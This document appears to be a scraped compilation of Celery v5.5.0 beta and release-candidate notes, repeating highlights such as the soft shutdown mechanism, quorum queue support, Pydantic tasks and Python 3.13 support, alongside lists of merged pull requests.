After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
task_acks_late=False by @Nusnus in https://github.com/celery/celery/pull/9461Full Changelog: https://github.com/celery/celery/compare/v5.5.0rc3...v5.5.0rc4
Celery v5.5.0 Release Candidate 3 is now available for testing. Please help us test this version and report any issues.
Celery v5.5.0 Release Candidate 3 is now available for testing. Please help us test this version and report any issues.
See What’s new in Celery 5.5 (Immunity) or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is current at 5.5.0rc2.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
Relevant Issues: #9207, #6067
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
Full Changelog: https://github.com/celery/celery/compare/v5.5.0rc2...v5.5.0rc3
Celery v5.5.0 Release Candidate 3 is now available for testing. Please help us test this version and report any issues.
See whatsnew-5.5 or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is current at 5.5.0rc2.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
New documentation.
New broker_native_delayed_delivery_queue_type configuration option.
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Document usage of broker_native_delayed_delivery_queue_type (#9419)
Adjust section in what's new document regarding quorum queues support (#9420)
Update pytest-rerunfailures to 15.0 (#9422)
Document group unrolling (#9421)
fix small typo acces -> access (#9434)
Update cryptography to 44.0.0 (#9437)
Added pypy to Dockerfile (#9438)
Skipped flaky tests on pypy (all pass after ~10 reruns) (#9439)
Allowing managed credentials for azureblockblob (#9430)
Allow passing Celery objects to the Click entry point (#9426)
support Request termination for gevent (#9440)
Prevent event_mask from being overwritten. (#9432)
Update pytest to 8.3.4 (#9444)
Prepare for (pre) release: v5.5.0rc3 (#9450)
Celery v5.5.0 Release Candidate 2 is now available for testing. Please help us test this version and report any issues.
Celery v5.5.0 Release Candidate 2 is now available for testing. Please help us test this version and report any issues.
See What’s new in Celery 5.5 (Immunity) or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is current at 5.5.0rc2.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
Relevant Issues: #9207, #6067
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
celery --loader option parsing by @0x2b3bfa0 in https://github.com/celery/celery/pull/9361Full Changelog: https://github.com/celery/celery/compare/v5.5.0rc1...v5.5.0rc2
Celery v5.5.0 Release Candidate 2 is now available for testing. Please help us test this version and report any issues.
See whatsnew-5.5 or read the main highlights below.
The minimum required Kombu version has been bumped to 5.5.0. Kombu is current at 5.5.0rc2.
A completely new ETA mechanism was developed to allow full support with RabbitMQ Quorum Queues.
After upgrading to this version, please share your feedback on the quorum queues support.
New documentation.
New broker_native_delayed_delivery_queue_type configuration option.
After upgrading to this version, please share your feedback on the Google Pub/Sub transport support.
Relevant Issues: #9351
Additional dependencies have been migrated successfully to Python 3.13, including Kombu and py-amqp.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Fix: Treat dbm.error as a corrupted schedule file (#9331)
Pin pre-commit to latest version 4.0.1 (#9343)
Added Python 3.13 to Dockerfiles (#9350)
Skip test_pool_restart_import_modules on PyPy due to test issue (#9352)
Update elastic-transport requirement from <=8.15.0 to <=8.15.1 (#9347)
added dragonfly logo (#9353)
Update README.rst (#9354)
Update README.rst (#9355)
Update mypy to 1.12.0 (#9356)
Bump Kombu to v5.5.0rc1 (#9357)
Fix celery --loader option parsing (#9361)
Add support for Google Pub/Sub transport (#9351)
Add native incr support for GCSBackend (#9302)
fix(perform_pending_operations): prevent task duplication on shutdown… (#9348)
Update grpcio to 1.67.0 (#9365)
Update google-cloud-firestore to 2.19.0 (#9364)
Annotate celery/utils/timer2.py (#9362)
Update cryptography to 43.0.3 (#9366)
Update mypy to 1.12.1 (#9368)
Bump mypy from 1.12.1 to 1.13.0 (#9373)
Pass timeout and confirm_timeout to producer.publish() (#9374)
Bump Kombu to v5.5.0rc2 (#9382)
Bump pytest-cov from 5.0.0 to 6.0.0 (#9388)
default strict to False for pydantic tasks (#9393)
Only log that global QoS is disabled if using amqp (#9395)
chore: update sponsorship logo (#9398)
Allow custom hostname for celery_worker in celery.contrib.pytest / celery.contrib.testing.worker (#9405)
Removed docker-docs from CI (optional job, malfunctioning) (#9406)
Added a utility to format changelogs from the auto-generated GitHub release notes (#9408)
Bump codecov/codecov-action from 4 to 5 (#9412)
Update elasticsearch requirement from <=8.15.1 to <=8.16.0 (#9410)
Native Delayed Delivery in RabbitMQ (#9207)
Prepare for (pre) release: v5.5.0rc2 (#9416)
Celery v5.5.0 Release Candidate 1 is now available for testing. Please help us test this version and report any issues.
Celery v5.5.0 Release Candidate 1 is now available for testing. Please help us test this version and report any issues.
See What’s new in Celery 5.5 (Immunity) or read the main highlights below.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
Full Changelog: https://github.com/celery/celery/compare/v5.5.0b4...v5.5.0rc1
Celery v5.5.0 Release Candidate 1 is now available for testing. Please help us test this version and report any issues.
See whatsnew-5.5 or read the main highlights below.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Added Blacksmith.sh to the Sponsors section in the README (#9323)
Revert "Added Blacksmith.sh to the Sponsors section in the README" (#9324)
Added Blacksmith.sh to the Sponsors section in the README (#9325)
Added missing " |oc-sponsor-3|” in README (#9326)
Use Blacksmith SVG logo (#9327)
Updated Blacksmith SVG logo (#9328)
Revert "Updated Blacksmith SVG logo" (#9329)
Update pymongo to 4.10.0 (#9330)
Update pymongo to 4.10.1 (#9332)
Update user guide to recommend delay_on_commit (#9333)
Pin pre-commit to latest version 4.0.0 (Python 3.9+) (#9334)
Update ephem to 4.1.6 (#9336)
Updated Blacksmith SVG logo (#9337)
Prepare for (pre) release: v5.5.0rc1 (#9341)
update mongodb without deprecated [srv] extra requirement by @fmigneault in https://github.com/celery/celery/pull/9258
Celery v5.5.0 Beta 4 is now available for testing. Please help us test this version and report any issues.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
_is_ambigious -> _is_ambiguous by @pachewise in https://github.com/celery/celery/pull/9248[srv] extra requirement by @fmigneault in https://github.com/celery/celery/pull/9258Full Changelog: https://github.com/celery/celery/compare/v5.5.0b3...v5.5.0b4
Celery v5.5.0 Beta 4 is now available for testing. Please help us test this version and report any issues.
This release introduces the initial support for Python 3.13 with Celery.
After upgrading to this version, please share your feedback on the Python 3.13 support.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Correct the error description in exception message when validate soft_time_limit (#9246)
Update msgpack to 1.1.0 (#9249)
chore(utils/time.py): rename _is_ambigious -> _is_ambiguous (#9248)
Reduced Smoke Tests to min/max supported python (3.8/3.12) (#9252)
Update pytest to 8.3.3 (#9253)
Update elasticsearch requirement from <=8.15.0 to <=8.15.1 (#9255)
Update mongodb without deprecated [srv] extra requirement (#9258)
blacksmith.sh: Migrate workflows to Blacksmith (#9261)
Fixes #9119: inject dispatch_uid for retry-wrapped receivers (#9247)
Run all smoke tests CI jobs together (#9263)
Improve documentation on visibility timeout (#9264)
Bump pytest-celery to 1.1.2 (#9267)
Added missing "app.conf.visibility_timeout" in smoke tests (#9266)
Improved stability with t/smoke/tests/test_consumer.py (#9268)
Improved Redis container stability in the smoke tests (#9271)
Disabled EXHAUST_MEMORY tests in Smoke-tasks (#9272)
Marked xfail for test_reducing_prefetch_count with Redis - flaky test (#9273)
Fixed pypy unit tests random failures in the CI (#9275)
Fixed more pypy unit tests random failures in the CI (#9278)
Fix Redis container from aborting randomly (#9276)
Run Integration & Smoke CI tests together after unit tests pass (#9280)
Added "loglevel verbose" to Redis containers in smoke tests (#9282)
Fixed Redis error in the smoke tests: "Possible SECURITY ATTACK detected" (#9284)
Refactored the smoke tests github workflow (#9285)
Increased --reruns 3->4 in smoke tests (#9286)
Improve stability of smoke tests (CI and Local) (#9287)
Fixed Smoke tests CI "test-case" labels (specific instead of general) (#9288)
Use assert_log_exists instead of wait_for_log in worker smoke tests (#9290)
Optimized t/smoke/tests/test_worker.py (#9291)
Enable smoke tests dockers check before each test starts (#9292)
Relaxed smoke tests flaky tests mechanism (#9293)
Updated quorum queue detection to handle multiple broker instances (#9294)
Non-lazy table creation for database backend (#9228)
Pin pymongo to latest version 4.9 (#9297)
Bump pymongo from 4.9 to 4.9.1 (#9298)
Bump Kombu to v5.4.2 (#9304)
Use rabbitmq:3 in stamping smoke tests (#9307)
Bump pytest-celery to 1.1.3 (#9308)
Added Python 3.13 Support (#9309)
Add log when global qos is disabled (#9296)
Added official release docs (whatsnew) for v5.5 (#9312)
Enable Codespell autofix (#9313)
Pydantic typehints: Fix optional, allow generics (#9319)
Prepare for (pre) release: v5.5.0b4 (#9322)
Celery v5.5.0 Beta 3 is now available for testing. Please help us test this version and report any issues.
Celery v5.5.0 Beta 3 is now available for testing. Please help us test this version and report any issues.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: https://github.com/celery/celery/pull/9213, https://github.com/celery/celery/pull/9231, https://github.com/celery/celery/pull/9238
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported.
This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM
instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
After upgrading to this version, please share your feedback on the Quorum Queues support.
Relevant Issues: #6067, #9121
docker compose in Contributing's doc build section by @KeisukeYamashita in https://github.com/celery/celery/pull/9219Full Changelog: https://github.com/celery/celery/compare/v5.5.0b2...v5.5.0b3
Celery v5.5.0 Beta 3 is now available for testing. Please help us test this version and report any issues.
The soft shutdown is a new mechanism in Celery that sits between the warm shutdown and the cold shutdown. It sets a time limited "warm shutdown" period, during which the worker will continue to process tasks that are already running. After the soft shutdown ends, the worker will initiate a graceful cold shutdown, stopping all tasks and exiting.
The soft shutdown is disabled by default, and can be enabled by setting the new configuration option worker_soft_shutdown_timeout. If a worker is not running any task when the soft shutdown initiates, it will skip the warm shutdown period and proceed directly to the cold shutdown unless the new configuration option worker_enable_soft_shutdown_on_idle is set to True. This is useful for workers that are idle, waiting on ETA tasks to be executed that still want to enable the soft shutdown anyways.
The soft shutdown can replace the cold shutdown when using a broker with a visibility timeout mechanism, like Redis or SQS, to enable a more graceful cold shutdown procedure, allowing the worker enough time to re-queue tasks that were not completed (e.g., Restoring 1 unacknowledged message(s)) by resetting the visibility timeout of the unacknowledged messages just before the worker exits completely.
After upgrading to this version, please share your feedback on the new Soft Shutdown mechanism.
Relevant Issues: #9213, #9231, #9238
New documentation for each shutdown type.
New worker_soft_shutdown_timeout configuration option.
New worker_enable_soft_shutdown_on_idle configuration option.
The REMAP_SIGTERM "hidden feature" has been tested, documented and is now officially supported. This feature allows users to remap the SIGTERM signal to SIGQUIT, to initiate a soft or a cold shutdown using TERM instead of QUIT.
This release introduces support for Pydantic models in Celery tasks. For more info, see the new pydantic example and PR #9023 by @mathiasertl.
After upgrading to this version, please share your feedback on the new Pydantic support.
The root cause of the Redis broker instability issue has been identified and resolved in the v5.4.0 release of Kombu, which should resolve the disconnections bug and offer additional improvements.
After upgrading to this version, please share your feedback on the Redis broker stability.
Relevant Issues: #7276, #8091, #8030, #8384
This release introduces the initial support for Quorum Queues with Celery.
See new configuration options for more details:
task_default_queue_type
worker_detect_quorum_queues
After upgrading to this version, please share your feedback on the Quorum Queues support.
Added SQS (localstack) broker to canvas smoke tests (#9179)
Pin elastic-transport to <= latest version 8.15.0 (#9182)
Update elasticsearch requirement from <=8.14.0 to <=8.15.0 (#9186)
Improve formatting (#9188)
Add basic helm chart for celery (#9181)
Update kafka.rst (#9194)
Update pytest-order to 1.3.0 (#9198)
Update mypy to 1.11.2 (#9206)
All added to routes (#9204)
Fix typos discovered by codespell (#9212)
Use tzdata extras with zoneinfo backports (#8286)
Use docker compose in Contributing's doc build section (#9219)
Failing test for issue #9119 (#9215)
Fix date_done timezone issue (#8385)
CI Fixes to smoke tests (#9223)
Fix: passes current request context when pushing to request_stack (#9208)
Fix broken link in the Using RabbitMQ docs page (#9226)
Added Soft Shutdown Mechanism (#9213)
